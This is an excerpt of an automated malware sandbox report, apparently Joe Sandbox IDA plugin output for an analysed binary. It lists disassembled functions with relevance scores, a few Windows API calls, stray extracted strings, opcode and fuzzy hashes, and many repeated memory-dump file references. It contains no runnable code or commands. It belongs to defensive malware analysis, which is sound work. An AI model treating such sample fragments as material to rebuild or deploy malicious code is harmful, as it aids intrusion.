Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 29d3f3109aea7ecff463767d74a1848fd1810aec21599a4b935023b64aa18649
Instruction ID: d5000802efed863517aaf147620055d57078ff66fde946cb392da8378c00adcf
Opcode Fuzzy Hash: 29d3f3109aea7ecff463767d74a1848fd1810aec21599a4b935023b64aa18649
Instruction Fuzzy Hash: 20111870200209BFDB04CF64D885FBB3BAABF89700F109858FA198B250DB79EC41DB60

Function 009B48CF Relevance: 5.4, Strings: 3, Instructions: 1634COMMON

Download Yara Rule

Strings

:-o, xrefs: 009B4B95
xOK, xrefs: 009B56F8
<Cl?, xrefs: 009B519A

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :-o$<Cl?$xOK
API String ID: 0-1176847272
Opcode ID: 38518c4857e183f5484bea4302fc9a50271b57285fc9b3c674f705cac9c2aee6
Instruction ID: 3f4b7afdac85687fc348f4f58722c1c06571b6d46e851d022ce16a7f7508214f
Opcode Fuzzy Hash: 38518c4857e183f5484bea4302fc9a50271b57285fc9b3c674f705cac9c2aee6
Instruction Fuzzy Hash: 1BB239F3A0C2049FE304AE2DEC8567AB7D9EF94720F1A8A3DEAC4C3344E57559058697

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 005F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(005FE118,00000000,00000001,005FE108,00000000), ref: 005F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005F37B0

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: e961dd5ff9247f25589f3a670fdfa8b6a7249fb454d390878b8cb5d689ee7660
Instruction ID: 94ed2da8e289fa37d7e8e3be6464966d7458d2536dda03bc735155162d531707
Opcode Fuzzy Hash: e961dd5ff9247f25589f3a670fdfa8b6a7249fb454d390878b8cb5d689ee7660
Instruction Fuzzy Hash: 7841E971A40A1C9FDB24DB58CC95FABB7B5BB48702F4081D8E608A7290E7756E85CF50

Function 008823BF Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

S`/}, xrefs: 0088258D
T{S_, xrefs: 008824E8
S`/}, xrefs: 00882558

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: S`/}$S`/}$T{S_
API String ID: 0-3392334616
Opcode ID: b97cc083cf21603a274417e598efdfc5426fea6b4b125bf7207d52c7c3fd1dd0
Instruction ID: 484f5168b02dc46bbba4e78afbb5fed0ef8fb1dd5225b12baec24ae238267be2
Opcode Fuzzy Hash: b97cc083cf21603a274417e598efdfc5426fea6b4b125bf7207d52c7c3fd1dd0
Instruction Fuzzy Hash: 255167F3A083045FE3086E69ECC577AB7DAEB94320F1A453D9BC083785E9796805478A

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 00969C0B Relevance: 2.7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

Strings

$QZw, xrefs: 00969CAE
%sU, xrefs: 00969E25

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $QZw$%sU
API String ID: 0-2239526156
Opcode ID: 6a102a610eae83696da1075a064c1bd6307a31f71c84b0768989cf8ef52dbfd1
Instruction ID: cb96e7c519f75afef0604dd8eb0547d32c5f85c468d4e41fde6ab86d1149d8fd
Opcode Fuzzy Hash: 6a102a610eae83696da1075a064c1bd6307a31f71c84b0768989cf8ef52dbfd1
Instruction Fuzzy Hash: DA5136B3A082145FE708AE2CDC5577AB7DAEF94320F1A453DEAC5C7384E935A805C786

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 009A493F Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

-;G_, xrefs: 009A49A8

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -;G_
API String ID: 0-533608233
Opcode ID: 30dbd6b2738f836a53e760a0590da653cea8945631bf4b21c880aee15cdaf3fc
Instruction ID: b24b0eefd494f5baa3bf05d93c240b2d35841d7a10fcfd473765093b8df36716
Opcode Fuzzy Hash: 30dbd6b2738f836a53e760a0590da653cea8945631bf4b21c880aee15cdaf3fc
Instruction Fuzzy Hash: A1414CF36182106FF3185D29EC85BBBB7DAEBC4721F26853DEB8487744E9795C008292

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 00940CC2 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b190fb864d14868282af606631f215ff18f9c909e8d25ac54e82b618d5b8d2
Instruction ID: 2ed89ccbf50d7caf92bbe6aa4304e2d7ace328abc76cb996442b8d85ca675ae4
Opcode Fuzzy Hash: 05b190fb864d14868282af606631f215ff18f9c909e8d25ac54e82b618d5b8d2
Instruction Fuzzy Hash: 13812AF3E082145FF354AE39DC8973AB6D6DB94310F1A453CDA88D7784E979980582C6

Function 00A3E855 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
